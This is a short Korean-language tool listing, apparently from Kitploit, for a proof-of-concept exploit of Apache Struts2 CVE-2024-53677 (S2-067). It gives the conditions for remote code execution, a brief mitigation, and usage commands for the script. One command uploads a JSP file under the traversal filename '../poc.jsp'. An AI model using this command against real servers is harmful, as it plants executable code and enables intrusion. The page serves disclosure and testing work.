CVE-2024-53677 — CVE-2024-53677 (S2-067)에 대한 개념 증명 익스플로잇으로, 조작된 파일명 파라미터를 통해 원격 코드 실행을 가능하게 하는 Apache Struts2 파일 업로드 로직 우회입니다. | Kitploit

POC 출처

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

RCE 조건

위험 유형 확장자에 대한 제한 없음
파일 업로드 시 업로드 매개변수에서 파일 이름 획득

따라서 완화 수정도 간단합니다. 확장자를 제한하고, 사용자 정의 무작위 파일 이름을 사용하는 등.

스크립트 사용

python3 s2-067.py -h

python3 s2-067.py -u http://localhost:28080/uploadFile -filename ../poc.jsp -file 2.jsp -type s

도구 다운로드